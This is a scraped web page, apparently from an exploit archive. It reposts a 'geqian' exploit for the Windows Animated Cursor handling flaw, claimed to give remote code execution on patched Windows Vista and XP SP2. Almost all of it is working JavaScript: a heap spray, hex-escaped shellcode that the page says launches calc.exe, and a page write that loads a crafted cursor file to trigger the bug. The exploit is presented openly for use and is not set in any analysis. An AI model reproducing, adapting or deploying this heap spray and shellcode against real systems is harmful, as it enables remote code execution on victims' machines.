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| 关键词： Windows installation vista default Version enabled Exploit aground geqian Tested |
..::[ geqian presents ]::.. Windows Animated Cursor Handling Exploit (0day) Works on fully patched Windows VistaI think it is first real remote code execution exploit on vista =) Tested on:Windows Vista Enterprise Version 6.0 (Build 6000) (default installation and UAC enabled)Windows Vista Ultimate Version 6.0 (Build 6000) (default installation and UAC enabled)Windows XP SP2(It also must to work on all nt based windows but not tested) Author: geqianMail: [email protected] Bug discovered by determina (http://www.aground.cn/) Credit: geqian, http://www.aground.cn/ invokes calc.exe if successful --> <SCRIPT language="javascript">var heapSprayToAddress = 0x07000000; var payLoadCode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");var heapBlockSize = 0x400000; var payLoadSize = payLoadCode.length * 2; var spraySlideSize = heapBlockSize - (payLoadSize+0x38); var spraySlide = unescape("%u4141%u4141");spraySlide = getSpraySlide(spraySlide,spraySlideSize); heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize; memory = new Array(); for (i=0;i<heapBlocks;i++){memory[i] = spraySlide + payLoadCode;} document.write("<HTML><BODY style=\"CURSOR: url($1$riff.htm$1$)\"> </BODY></HTML>")wait(500)window.location.reload() function getSpraySlide(spraySlide, spraySlideSize){while (spraySlide.length*2<spraySlideSize){spraySlide += spraySlide;}spraySlide = spraySlide.substring(0,spraySlideSize/2);return spraySlide;}</SCRIPT> |
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